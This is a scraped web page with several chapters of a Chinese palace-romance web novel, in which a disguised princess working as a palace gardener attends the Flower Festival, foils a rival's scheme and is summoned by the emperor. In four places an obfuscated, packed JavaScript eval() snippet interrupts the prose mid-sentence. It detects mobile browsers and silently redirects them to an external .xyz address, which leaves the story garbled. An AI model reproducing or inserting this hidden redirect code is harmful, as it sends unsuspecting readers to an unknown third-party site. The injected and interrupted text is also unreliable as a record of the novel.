御花园中早已设好了祭坛,雕花的金丝楠木方桌之上悬挂着一副工笔绘就的花神像,下铺五彩丝线绣成的百花图,桌上置着莲花铜香鼎,亭台廊檐下处处悬挂着用素绢剪成的百花。 但最引人目光的,还属祭台旁由上百盆花草摆成的花阵,各式各样的花姹紫嫣红一片,犹如海洋。 吉时一到,太后着华服率众女向祭坛行三献礼,又有女官在旁诵读《祭花文》,向花神祝祷,祈求风调雨顺,国泰民安。 站在一众宫人中的明熙头一次目睹这北国宫廷的花朝节仪式,不由感叹两国的风气果然很是不同。 若是在建业,花朝节这日女子们可任意着装出门宴饮,饮酒赏花行乐,只图开心随性。 而北人却能将任何节日过得都庄重肃穆,与家国大计相连。 不过,今日还是与往常有所不同。 祭坛旁的溪边已经设好了桌椅,待到祭礼结束,众人便可以入座,边赏花边宴饮。 眼看祝祷完毕,众人将要入座之际,一旁传来了响亮的通传声—— “御驾到……” 众宾客纷纷跪地行礼,很快便见身着龙袍的年轻君王来到了近前。 “今日逢花朝盛会,朕来向花神进香,诸位不必多礼,平身罢。” 语毕,御花园内又响起一片谢恩声。 明熙随众人一道立起身来,只见一众悉心装扮的贵女们已经纷纷红了脸。 昨夜听值房里的宫女们说过,往年这人原本从不参加花朝祭祀,但因今年太后提前送了懿旨去请,他果然就来了。 由此可见,给花神敬香不过是个借口,来相看后宫人选才是真。 众人纷纷入座,又有人开口道,“今日逢佳节,天公也作美,陛下一来,叫花儿都更好看了。” 明熙知道,那是先帝妃嫔之一的淑太妃,与太后年纪差不多,却很会保养,四十来岁的年纪,依旧风韵犹存。 单单她来寿安宫这四日,就见这淑太妃去看了太后三次,不知道的还当这两位有多姐妹情深。 只见淑太妃说完这话,诸位妙龄女子面上再度染粉,果然是人比花娇。 各类点心香茗已经上了桌,又见太后的妯娌端王妃道,“说起来,今年的祭礼比往年都好,可见尚宫局与太常寺都是用了心的。” 闻言胡尚宫忙在旁垂首,以示谦逊。 太后却笑道,“不全是他们的功劳,今年这仪式可是借了不少力。单说这副花神像,便是出自永安公府的。” 这话一出,众人都一脸惊讶。 纪王妃道,“从前竟未听说永安公还有这等画工,太后若是不说,我还以为是出自哪位名家之手!” 太后又笑道,“哀家可没说是永安公自己画的。画画的人,就在席间。” 众人愈发好奇起来,纪王妃也忙在宴间找寻,“是谁?” 却见有一妙龄少女起身道,“启禀王妃,这画乃是小女拙作。” 太后便为众人介绍道,“这是永安公的长女,舒月。” 胡尚宫也忙跟着补充道,“不只是花神像,方才的《祭花神文》也是出自温姑娘之手。” 立时一片赞叹声响起,纪王妃道,“怪道听着今年的祭文与往年也不同。温姑娘画文双绝,真是难得的才女。” 一旁瞧热闹的明熙也深以为然。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486554|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 方才听女官诵读时,她便直觉那祭文温润流畅,与那些男子们刻意追求生僻华丽辞藻截然不同。 此时随着众人的目光看去,只见那温姑娘生得周正端庄,一身文气。 能被太后如此赏识,想来应是皇后人选。 思及此,她不由又悄悄瞅了瞅那萧狗贼,却见其正慢条斯理的端起茶杯,又慢条斯理的饮了一口,而后又慢条斯理的将茶杯放下,竟并未看那姑娘一眼。 呵,这狗皇帝,这样好的姑娘都看不上? 也好,省得连累人家做寡妇。 明熙重又将目光投回宴间,却见接受了一番夸赞后,太后叫那位温姑娘坐了回去。 又有一个坐于萧元彻左手边的妇人开口道,“除过画与祭文,诸位难道就没闻出来,今儿的香也与往年不同?” 经过上回的上元宴,明熙也已经知道这是北周的大长公主萧应澜,即狗皇帝的姑姑。 如上回一样,对方还是一身的金银珠宝,装扮十分惹眼。 又有人附和道,“这香味闻起来似花香,却又不失厚重,的确与从前不同。” 太后也道,“听说是晋阳侯府进献的香,叫什么来着?” 立时又有一妙龄女子站了起来道,“启禀太后娘娘,此香名唤“觅春”,乃是用牡丹,芍药,蔷薇,睦荆,凌霄等十余种花粉与香料制作而成。” 晋阳侯? 明熙想了起来,那大长公主的夫家就是晋阳侯府,看来这位美人是大长公主的亲戚。 果然,就见大长公主又张口介绍,“诸位今日可是有福,此香乃是宜兰亲手制作,别处可是闻不着的。” 原来还是位会制香的美人。 观其眉眼,也是清雅妍丽,就算做不成皇后,封为贵妃也不错。 明熙又瞥了眼某人,却见那狗皇帝又从碟中拿起一块梨花酥细嚼慢咽起来,脸上依旧神色淡淡,一句话也不说。 连叫那姑娘入座,也是太后下的令。 见此情景,坐在太后右侧的淑太妃又开口道,“今日还真是人才济济,不知大家觉得那幅百花图绣得如何?那可是玉瑶一针一线亲手绣出来的。” 明熙便知道了,这位淑太妃怕不是也有适龄的亲戚。 果然,随她话音落下,众人都向一位长相娇媚的粉衣姑娘投去目光,并纷纷表示赞叹。 那位姑娘也忙起身表示谦虚,掩唇微笑间,宛如枝头上的桃花,十分醉人。 但再去瞧那萧狗贼,一双丹凤眼里依旧古井无波。 明熙不由在心里皱眉,这怕不是个油盐不进的石头人?又或是根本不喜欢女子? 也好,待她杀了对方,也算救了这些姑娘了。 正暗自琢磨着,却见那位纪王妃又开口道,“说起来,宫里今年的花也比往年要好看些,尤其神像下的这几盆茶花,粉的绿的,黄的还有紫的,名儿也都这么好听,真是叫人惊艳!” 近前的好几位贵妇都跟着点头,“今年的花的确是好,谁不知道茶花难养,今日竟能一下见到这么多品种颜色,且每样都如此好看,咱们真是有眼福了。” “兰花也好,从前常见墨兰蕙兰,这种花型的竟是头次见。却不知叫什么名字?” 太后主动为众人解惑道,“这两盆兰花,一盆叫蝶衣九晚,一盆叫素冠荷鼎。” 立时又引来一片马屁声—— “这名字都这么好听,简直就是天上仙物。” “还是太后娘娘会养,咱们这些粗人,哪里能养出来这样好的花?” 太后被哄得呵呵直笑,“哀家哪里会养?这都是她们司苑局的功劳罢了。有你们如此夸奖,看来今次司苑局的活计做的确实不错,该赏。” 话音落下,那萧狗贼也开口道,“母后所言甚是,来人,赐赏。” 一旁侍立的高寿赶忙应是,捧了只箱子站上前来。 紧接着,便见徐掌事喜滋滋的走上前去。 8. 第 8 章 徐掌事大抵并未想到,此时她站出来,可不只是领个赏那般简单。 这不,才将御赐的银两接到手中,便见纪王妃又问道,“我正想问问,这茶花到底该如何养才是?瞧宫里的开得这样好,我门府上那几盆却是半死不活的,好几年了也不曾开过花。” “王妃说得是啊!” 又有几位夫人附和道,“我们府上也有几盆,自打买来头一年开过花,后头就再也没见过花的影子,说来还是不会侍弄。” “我们府上的倒能养出花苞,可没等开花就全掉了,着实要心疼死人!今日正好请教请教,该怎么养才好。” 呃…… 徐掌事已经僵住。 眼见那一双双眼睛全都灼热地望向自己,她只能硬着头皮道,“诸位贵人所言极是,茶花确比其他花要难养些……上京天冷,要将它尽力放在温室中,常晒些太阳……” 然说完这两句,却是再也说不下去了。 毕竟她也晓得,自己的手艺并没比各府上的花匠强出哪去,再说下去,只怕要露馅。 偏生就在此时,太后身边的玉容公主又开口道,“这花不是念贞养的吗?我昨日才见过她的,诸位该请教念贞才是。” 徐掌事一顿。 纪王妃忙问道,“念贞是谁?” 一旁的胡尚宫忙答,“启禀王妃,是司苑局的一名宫女,这几株茶花与兰花,的确是她培育的。” “那何不叫出来,教教我们怎么养花?”纪王妃立时又道。 却见太后也颔首道,“叫她过来吧。” 胡尚宫便应是,在人群中寻觅起来,待瞧见人堆里的明熙,忙招了招手。 明熙走了出去。 “参见陛下,参见太后,参见诸位贵人。” 她如旁人一样行礼,一时间,所有人的目光都落到了她身上。 纪王妃将她上下打量一番,发出与旁人一样的惊叹,“竟这么年轻?你今年可有二十?” 明熙低头道,“启禀王妃,奴婢今年十九。” 这当然是她所借用身份的年纪。 不过她自小便脸颊圆润些,看起来显小,在场众人也并未有什么怀疑。 除过一人,望向她的目中有一丝微不可查的波动。 萧元彻当然晓得她在说谎。 因为他仍清楚记得,那年在建业相遇时,她十八,他二十。 如今四年过去,他已二十四岁,她也二十二了。 这四年间,她究竟经历了什么? 不在公主府,不在建业,叫他遍寻不着。 还由一个从不沾生水的娇贵小公主,变成了养花高手…… “才这么小就如此会养花?真是难得。” 一旁的纪王妃忙又道,“那就赶紧跟我们说说,该如何把茶花养好。” 却见那姑娘答道,“茶花有诸多品种,奴婢未见过诸位贵人府上的花,不敢妄言,不过大多数茶花养不好,多是换盆时不适应新的土壤,或光照过多造成,有道是种花先养土,平日诸位可在家中将松针落叶深埋于土壤中,等候几个月,便能生成茶花喜欢的土壤。” “茶花喜光却畏强光,喜凉不耐热,夏日里或正午时分,一定要避免日头直晒,早晚则要及时收回室内保温。浇水时一定要浇透,但切忌盆内积水。再者,一旦进入花期,通常结出许多花蕾,但须知植株的养分并不能供应所有的花蕾,所以要及时疏蕾,一个枝条只保留一朵长势最好的花蕾便好。” 话音落下,众人纷纷颔首,不知是谁又问道,“那兰花呢?” 她便又答,“兰花大多喜阴畏晒,喜湿畏涝,喜温畏暑,需用更加松软的腐质土来养,除过透气通风,还需尽力保持周遭潮湿。上京天干,可时常用养液擦拭叶面。花木与人相同,都有求生本能,只要为它们营造适合的环境,它们也都会尽活下去。” 看她言语从容又流畅,纪王妃道,“果然还是太后会调教人,回头就叫我们府上的花匠照这法子去养,没准明年我也能有好花赏了。” 众人也纷纷跟着向太后道谢,“多谢太后娘娘调教出这般人才。” “今日真是不虚此行,收获甚丰。” …… 太后笑得和煦之间,不由悄悄瞥了眼儿子萧元彻。 自打这养花的丫头一上来,他的目光就一直在她身上。 这像什么样子? 只好开口打断众人道,“还是先叫小高子把陛下的赏给了吧,都捧了半天了。” 高寿忙应是,却也不由先瞥了眼君王。 ——此时面前有两个人,这赏他该给谁才是? 方才这许姑娘没上来就算了,眼下都上来了,花又是人家养的,不给她不像话吧? 带着如此想法,高寿便打算把盒子递给明熙。 哪知道那没眼色的徐掌事却先跪地磕起了头,“谢陛下隆恩。” 高寿,“……” 这没眼力见的,这不是上赶着惹陛下的眼么。 果然,紧接着,便听上座的陛下忽然开口道,“你是谁?” 那没眼力见的徐掌事居然也胆敢答道,“回陛下,奴婢是司苑局掌事。” 又见君王道,“这花是你养的?” 那徐掌事一顿,已经底气不足起来,“……启禀陛下,那几盆花是许念贞养的。” 君王的声音中已经透出冷意,“那你又以何功领赏?” 此时终于回过味来的徐掌事已经面无血色,慌忙垂头道,“奴婢惭愧。” 然而为时已晚。 却见君王继续冷声道,“你身为一局掌事,不会种花也就罢了,还要抢他人的功,脸皮怎会如此之厚?” 徐掌事已经抖如筛糠,不停磕头道,“奴婢知罪,求陛下开恩。” 却听君王道,“将此人拉去幽庭,司苑局另则贤能。” 立时有人应是,将险些晕过去的徐掌事给拉走了。 现场一时陷入静谧之中,几乎可闻针落。 不知内情的众人都你看看我,我看看你,都在心间暗忖。 明熙也有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486555|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意外。 ——这狗贼就在这样的场合,把徐掌事给处理了? 竟也有处事公正的一面…… 正在此时,却见高寿笑呵呵的把盒子塞到了她手里,“请姑娘谢恩吧。” 她只好先接下,向那人行了礼,“奴婢谢陛下,谢太后。” “起来吧。” 太后率先发话,又问胡尚宫道,“典膳司昨儿不是说今年有许多新点心么,怎么没见快上来?” 胡尚宫也赶紧应是,又招呼宫人上茶点,终于将尴尬的气氛给盖了过去。 …… 伴着各色径直茶点,本次花朝的赛诗会也开始了。 这也是北周宫廷的传统,众人你吟我唱,诵读与花相关的诗句,再评比出最优者,可获御赐奖赏。 明熙觉得,这个环节怕不是太后专为那位永安公府的温大姑娘设置的。 果然,眼看众人纷纷诵读完毕,一番评比之后,那位温舒月姑娘以一首现作的律诗拔得头筹。 这便意味着,众人便要评选花王了。 司苑局的宫人已经搬来了许多只碗,需在每盆花前放一只;再端来一盆赤豆,分发给赏花的宾客,宾客们看中哪盆花,就将手中的赤豆投到花前碗中,最后计数评分。 眼看着碗逐一放好,众宾客便纷纷起身移步花间,开始赏花评花。 作为首花的养护人,明熙此时就站在那几盆茶花与兰花旁。 不出意外的,也正是这几盆花最受众人欢迎,但凡路过的宾客,无不都要在花前驻足欣赏一番,再投出手中赤豆。 无论素冠荷鼎,蝶衣九晚,还是碧玉芙蓉,丹霞仙子,赤金花冠及紫袍玉带,都收获了许多赤豆。 有的宾客在投过豆后还要向她请教一下养花事宜,明熙也都逐一解答。 眼看着,赏花的人已经过半,明熙的视线中出现了一个熟人。 ——上元宴时绊她的那个酉阳侯府何三姑娘。 再一瞧,其身边还跟着一位,正是上回与其同桌的定远将军府的秦二姑娘。 此时二人结伴赏花,浑然不知自己险些被暗害的秦二姑娘还在与那何三热络交谈,俨然一副视对方为闺中密友的模样。 二人边走边聊,眼看着就赏到了她近前。 只见何三对秦二道,“我向来最喜欢兰花了,瞧这盆素冠荷鼎,一看便是花王之相,咱们不妨投给它吧。” 说着把手中赤豆投到了素冠荷鼎的碗中。 那秦二姑娘道,“我也喜欢。”便也要去投豆。 哪知就在此时,明熙眼睁睁的瞧见,那何三又从裙下伸出一只脚要绊倒秦二。 而秦二一旦倒下去,必定要将素冠荷鼎那四只漂亮的花枝给压折。 要知道,在花朝这日损伤花木,乃是这北周皇庭最大的禁忌。 尤其那还是太后最为喜欢的花。 而她作为专门看管这几盆花的宫人,必定也要受连累。 明熙立时扑了上去,并在心间将那何家祖宗八辈都给问候了一遍。 9. 第 9 章 说时迟那时快。 明熙扑上去的瞬间,已经听见那秦二姑娘因身体失衡发出的惊叫声。 所幸有她及时伸手,拉住了其一条胳膊,才叫对方没有扑在花上。 素冠荷鼎除过被其扑来的风带的稍稍晃了晃叶片,其余一切安好。 明熙把心放回到了肚子里,再瞧那秦二姑娘,一双杏眼圆睁,大口喘着气,仍是惊魂未定的模样。 那绊人的何三却凑上来道,“二姐姐怎么了?可是不小心踩住了裙角?” 好一个“踩住裙角”。 这个死葫芦精,屡次使脏手段害人就罢了,还每次都想连累她? 她索性也对那秦二姑娘道,“未必是裙角,许是别的什么把姑娘绊了一下,一旦姑娘方才倒下,只怕这花要赏不成了,今后可务必要当心才好。” 却见何三一噎,而那秦二姑娘终于回了神,向她道了声谢后,又瞥了眼何三,皱着眉头回到座位上。 那何三见状也打算跟过去,谁料明熙道了声,“姑娘留步。” 何三一顿,一脸警惕的回头看她,道,“怎么了?” 明熙笑着上前道,“有枯草挂住了姑娘的裙角。” 说着蹲下身去,果然从她裙角上摘了根枯草下来。 但与此同时,也神不知鬼不觉的在对方裙上抹了一把。 何三并未察觉异常,只继续往前走了。 明熙心里哼笑一声,原回到了几盆花旁。 不远处,太后叫来胡尚宫询问道,“方才怎么听见有人叫?” 眼观六路的胡尚宫道,“方才有位姑娘没站稳,险些撞了花,好在虚惊一场。” 太后颔了颔首,没再说什么。 哪知没过多久,却听席间又传来一阵尖叫,十分刺耳。 众人循声望去,却见有一女子一边蹦跳一边用手不停挥舞,口中还在大喊大叫。 太后忙又道,“这又是怎么了?” 胡尚宫伸长脖子远眺,忙又回复道,“启禀娘娘,像是有人被蜜蜂蛰了,奴婢这就去叫人处置。” 说着赶紧招呼人手上前。 然而路才走了一半,却见那尖叫的人已经躺到了地上,众目睽睽之下在草间来回打滚,简直惊掉人下巴。 等到宫人们好不容易将绕着她飞的一群马蜂赶走,却见其已是满身尘土,衣裙凌乱,钗环掉了一地,披头散发状如女鬼,着实令人不忍看。 大长公主摇头啧啧道,“这是哪家的姑娘,便是叫蜂子蛰了又能如何?在太后及陛下面前如此失态,简直不成体统。” 淑太妃咳了咳,“我瞧着像酉阳侯家的三丫头。” 大长公主又一脸嫌弃道,“这酉阳侯府也是愈发破败了,养的几个儿子没出息就罢了,姑娘也是如此,真是白白浪费堂堂侯府的名号。” 众人无不露出赞同的神情。 还是太后对身旁的碧书道,“叫人把那姑娘带下去更衣吧,再叫御医瞧瞧可有大碍。” 碧书应是,便上前将那何三姑娘带离了御花园。 现场恢复了平静,众人却免不得又说上几句酉阳侯府的闲话。 只有萧元彻向一旁投去目光。 却见站在几盆花前的明熙正一副事不关己的模样。 但他晓得,方才只怕正是她的手笔。 毕竟当年在建业,她也曾如此奚落过狂妄的南齐宗亲。 他深知她性情,绝不会无缘无故出手作弄别人。 当然,方才他也瞧见了那女子要摔倒前她上去护花的过程。 如此看来,莫非方才那幕,是那酉阳侯三女的过错? …… 眼看着众人浏览过百花,赤豆也都投罢,太后最为钟爱素冠荷鼎不出意外的获得头名,碧玉芙蓉与赤金花冠紧随其后,跻身三甲。 太后十分满意,发话道,“方才舒月的诗拔得头筹,如今花王也选出来了,哀家索性以花作赏,将那盆碧玉芙蓉赏与舒月。” 立时引来一片惊讶。 要知道这碧玉芙蓉可是今日百花中独有的淡绿色,且还荣获第二名美誉,太后娘娘居然就如此赏给了永安公府的姑娘。 其用意已是不言而喻了。 一片复杂目光中,却听十三岁的小公主玉容道了一声,“哎呀,早知母后会赏碧玉芙蓉,我便好好跟师傅学做诗了!” 太后笑道,“现在好好学也不迟,待你作好了诗,明年赢得头名,哀家就把另一盆赏与你。” “母后一言为定。” 玉容立时应了下来,却见大长公主又玩笑般道,“早知道有这么好的花作赏,方才我也该做首诗争一争的。” 话音落下,众人只敢跟着笑笑,却无人能附和,毕竟大长公主的辈分,可不是谁都能比得了的。 只是再悄悄瞅瞅太后身边的君王,面上依旧神色淡淡,叫人难以揣摩心意。 眼看宫女将那盆碧玉芙蓉抱到了温舒月面前,而温舒月也起身行过礼,胡尚宫又命典膳司的宫人们赶忙呈上佳肴美酒,花朝午宴便开始了。 明熙不必侍宴,只需如司苑局的其他人一样,在御花园里守着花便是。 目光撇去一旁的宴间,却见菜还未上齐,那狗贼萧元彻便起身离开,只留下一众宾客陪着太后宴饮。 熟料未过多久,却见一小太监来到她面前道,“敢问这位可是司苑局的许念贞姑娘?” 明熙点头道是,只见对方又道,“高公公说乾明宫中有几株兰花打蔫了,想请您过去看看。” 什么,叫她去乾明宫? 明熙悄悄一顿,那不是那箫狗贼的寝殿? 莫非……是那萧元彻要见她? 回想昨日御花园中,那人似乎说过今日要来见她,却不知这狗贼葫芦里装的什么药…… 正暗忖间,却见那小太监又道,“姑娘不必担心,我来替您看着花便是。” 便主动去了那几盆花前。 罢,不去又怎么知道那狗贼要找她做什么? 借此机会先探一探乾明宫也好。 她便应了声好,抬步往乾明宫走。 出了御花园,又穿过几道宫门,只见一片殿宇出现在眼前。 明瓦朱墙,森严巍峨,正是那狗贼萧元彻所在之处。 宫门前站了十数名精壮侍卫,皆手握剑戟,令本就庄重的殿宇更添几分威严。 明熙顿了顿,迎上前去,未等自报家门,却见那姓高的胖宦官从里头迎了出来道,“许姑娘请随咱家前来。” 她便应是,随对方迈了进去。 一路穿过殿宇连廊,停在了正殿后的一处厅中,厅中有一座青瓷鱼盆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486556|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,四周也摆了几盆花,有银桂,山梅,蕙兰等,正幽幽散着暗香。 不过那些花枝叶看起来都挺好,并未有什么“打蔫”的症状。 那胖宦官也似乎并不打算同她解释什么,只道了一声,“请姑娘稍候。”便退了出去。 明熙顿了顿,正要打量四周,便听殿外一阵脚步声临近。 她忙瞧去,却见一人迈进了殿中,正是萧元彻。 他已经换下了方才宴间的龙袍金冠,此时一身玄色窄袖襕袍,倒显得人愈发清俊了些。 但明熙想的却是,看他此时身边并无随从,若是软剑在身该多好! 然而世间从没有若是,她只能压下一丝遗憾,要向对方行礼。 哪知对方却先开口唤她一声,“阿真。” 阿贞? 明熙愣了愣,竟有一瞬间的恍惚。 从前她的确有过一个差不多的名字,叫“阿真”。 ——归功于她那位毕生追寻仙道的父皇,她自降生便收获了封号“悟真公主”,寓意摒弃虚妄,体悟大道。 她的长辈亲人们素来唤她作“阿真”,倒是甚少有人叫她的本名。 当然,这箫狗贼并非她的亲人,叫的也不过是她的假名罢了,但须知她与这狗贼不过才见了三面,他便将她唤的如此亲近了么? 明熙心间警惕,先低头行了个礼,“奴婢参见陛下。” 却见那人一顿,而后,又叹起了气。 “可是在生我的气?昨日原本想同你好好说说,不曾想接连被打断。我一直在找你,却没想到你先来了。” 她先来? 明熙又要皱眉,今日难道不是他叫她来的吗? 只是没等说话,却见那人又道,“叫你受委屈的人已经都处置了,我知道,这些日子你过得不好,这也是我的疏忽,竟叫你吃了这么多苦。” 明熙愈发想皱眉。 这人毕竟是堂堂北周的皇帝,居然会用这般语气同一个小宫女说话? 他是头脑有病,还是在诈她? 如此,她当然更不能掉以轻心,便忙又垂首道,“谢陛下关怀,其实奴婢没有受委屈,陛下实在无需自责。” 那人却又是一顿,叹道,“今日没有外人,你不必如此,心中有什么怨恨索性直接都说出来。” 什么? 还问她有什么怨恨? 这人一定不对劲! 明熙愈发冷静道,“能进宫为贵人们效力,是奴婢只荣幸,奴婢并没有怨恨。” “阿真……” 那人却忽然一脸颓败的模样,叹道,“不要如此同我说话,你我之间,何须如此?” 说着忽然朝她靠近两步,还张开双臂,似是要拥她入怀。 明熙一个激灵,立时从他臂下溜出,躲去了一旁。 呔,这狗贼竟是想占她便宜? 她快速环顾一旁,尝试寻找有什么可用之物,早知如此,今日说什么也该把软剑带在身上。 但这殿中实在没什么利器,唯有蕙兰叶片长而薄。 记得国师说过,只要力道与速度达到,就算纸张也可割破人的喉咙,若这狗贼再敢靠近,她便姑且拿来一试。 哪知就在此时,门外忽然传来一个声音,“启禀陛下,定远将军在宫门外鸣冤,求见陛下。” 10. 第 10 章 什么,有人在宫门外喊冤? 这个声音不止叫明熙一怔,也令萧元彻愣住。 他不是不知,定远将军秦彻为人正直,若非有紧急要事,应是不会到宫中喊冤。 但此时面前站着的,可是他寻了那么久的姑娘。 天知道过去的那些日夜,他有多牵挂她。 可如今,她竟对他如此疏离! 她的身份不能暴露,亦不能引起他人注意,难得有此与她单独说话的机会,他并不想放弃。 然而未等他再度张口,却见她急忙道,“陛下还有要事,奴婢就先告退了。” 语罢便快速离开,只留了他一人在空荡荡的殿中。 须臾,又见高寿从门外探头,小心道,“陛下……” 萧元彻压下心间酸涩,只道,“叫定远将军进来。” 便抬步去了御书房。 …… 出了乾明宫,明熙一路回到御花园,这才发现花朝宴已经散去。 宫人们或抬桌椅,或收碗碟,正是一派忙碌景象。 祭坛前的花木要到明早才搬走,司苑局的众人落得清闲,正三三两两说着闲话—— “也不知什么事,方才就见徐掌事被人带走了,听说要发配边关……” “莫不是因着今日几位王妃夫人问她怎么养花没能答出?” “并非如此,听说是因为她擅闯乾明宫,触怒了陛下!” “擅闯乾明宫?这可是死罪!徐掌事怎么会做出这样的事?” …… 原来是在说那蠢货徐掌事的事,明熙只听不语,深藏功与名。 却听又有人道,“对了,方才散宴后,有人在宫门外鸣冤求见陛下,不知所为何事?” 又有人道,“我方才正从那里经过,是定远将军要告酉阳侯家风不正,那酉阳侯府的三姑娘方才险些害定远将军的此女撞到花王,惹来大祸。” “竟有这样的事!” 众人纷纷惊呼,明熙也有些惊讶—— 原来方才在乾明宫中听到的禀报是这件事。 她原以为那傻乎乎的秦二姑娘没反应过来何三推她的事,没想到其父竟然这么快就来告御状了? 不愧将门,行事就是讲究速度。 只希望那箫狗贼不要偏帮,她下回可不想再瞧见那何三又给她惹麻烦了。 不过说起来,那箫狗贼也真是头脑有病,今日这么多美貌女子他都不瞧一眼,偏想要占她的便宜! 若他下次再叫她去乾明宫,她必定要带上软剑,将其毙命! …… 热闹了一天的花朝宴落下了帷幕,太后回到寿安宫,更衣洗漱一番后,歪在暖榻上歇息。 自幼伴着太后长大的王嬷嬷上前为其捏肩,却听太后问道,“依你看,今日陛下对舒月如何?” 今日王嬷嬷一直陪在太后身边,自是目睹了花朝节全程,此时便忙道,“温姑娘端庄娴静,娘娘与陛下母子连心,您看中的人,陛下必定也是满意的。” 哪晓得太后却叹了口气道,“不必哄我,今儿我可瞧见了,从头到尾,他就没多看舒月一眼。” “不只是舒月,那大长公主的夫家侄女,淑太妃的娘家侄女,他也没拿正眼瞧过。” 王嬷嬷心说何止,今日满园的闺秀,也没见陛下瞧过几眼。 那位贵人今日总共说了十句话不到,基本全用在训斥那司苑局的掌事上了。 说句不敢说的实话,王嬷嬷觉得,陛下今日的注意力,似乎都在那叫念真的丫头身上…… “你也瞧出来了吧?” 太后又叹了口气,“陛下,八成是看上那个养花的丫头了。” “哀家就不明白了,那么多教养好的闺秀,他怎么偏偏就瞧上了个种花的?自打那天在这院子里瞧见,他那双眼睛就跟粘到那丫头身上一样,莫不是随了他那个爹?” 这…… 王嬷嬷愈发不敢说话了。 ——谁不知道,当年那容妃便是宫女出身,不光叫先帝一见倾心,还在太后前头生下了大皇子,险些误了今上的前程。 虽说已是陈年旧事,相关的人也都早做了古,但她却明白,此事已经成了太后的心结,怕是一辈子也难以解开。 王嬷嬷默默叹了口气,打算好好宽慰一番,然未等张口,却听门外有人道,“启禀太后,胡尚宫求见。” 便见太后敛了敛神色,只道,“进来吧。” 门打开,就见胡尚宫来到近前,“启禀娘娘,御花园已经收拾妥当,宾客们也已经都出宫了。” 太后颔了颔首,“今次办得不错,你也辛苦了。” “这都是奴婢应该做的。” 胡尚宫顿了顿,又道,“还有一事,陛下方才以酉阳侯府三姑娘宴上失仪,损害花木之名,将酉阳侯的爵位撤了。” 这倒叫人有些意外。 太后道,“好好的花朝盛会闹出那么大笑话,酉阳侯是该好好管管子女,可直接撤了爵位,莫不是有些过了?” 却见胡尚宫道,“方才定远将军在御前喊冤,道是那酉阳侯府的三姑娘包藏祸心,故意在赏花投豆时去绊他的次女,险些叫其折损那盆素冠荷鼎。” 太后愈发意外了,“竟有此事?” 胡尚宫垂首道,“当时许多人都听到了秦二姑娘的惊呼声,所幸念真在一旁及时将她拉住,才没能出岔子。” 太后微微一顿,又是那个念真? 却听胡尚宫又道,“还有件事,奴婢原该早早禀报娘娘,其实早先上元宴时,也曾发生过相似之事。” “那时也是那两位姑娘同桌,恰好也是许念真为二人侍宴,正要上菜之时,那何三姑娘也恰好伸出一只脚,将许念真绊了一下,所幸她将汤盅抱得稳,否则,料想那碗热汤定要洒在秦二姑娘身上。” “那时奴婢正好在旁瞧见,原以为是酉阳侯府三姑娘不小心,哪知今日又发生这样的事。” 原来是故技重施。 太后叹道,“酉阳侯妻妾成群,内宅乱的不像样子,没想到这些腌臜手段全让未出阁的姑娘学了去。陛下罚的好。” 这样的人若进了宫,那还得了? 胡尚宫垂首应是,但见太后再无吩咐,便告退而出。 余下王嬷嬷继续为太后捏肩。 须臾,却听太后道,“如此看来,那丫头倒也算沉稳。” 王嬷嬷忙顺着道,“若不是她把秦二姑娘及时扶住,娘娘的好花岂不要受苦?” 但见太后眉间松缓。 她忙又道,“娘娘与陛下母子连心,您为陛下着想,陛下又岂会不知?不过是这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486557|170076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,陛下都将心思放在大事上,无暇顾及儿女之情。而今难道动一回凡心,娘娘不若趁此时机令陛下心愿得偿,回头陛下自然便知阴阳和谐之天理。” “再说,陛下贵为天子,身边总不可能只有一位娘娘,只要中宫稳固,子嗣昌盛,您也无需太过忧虑。” 这话说得倒也在理。 毕竟眼下先叫她那个石头一般的儿子开窍,才最紧要。 太后叹道,“也罢,难得他能有个看上眼的,模样生得倒也还不错,与其叫他暗度陈仓,不如哀家先把把关。” ………… 赵怀再见到明熙时,已经是第二日的早晨。 二人在御药房外的夹道相遇,只见明熙已经换了一身青黄色窄袖宫装,发梳双螺髻,乃是寿安宫内太后近身宫女的装扮。 “姑娘……” 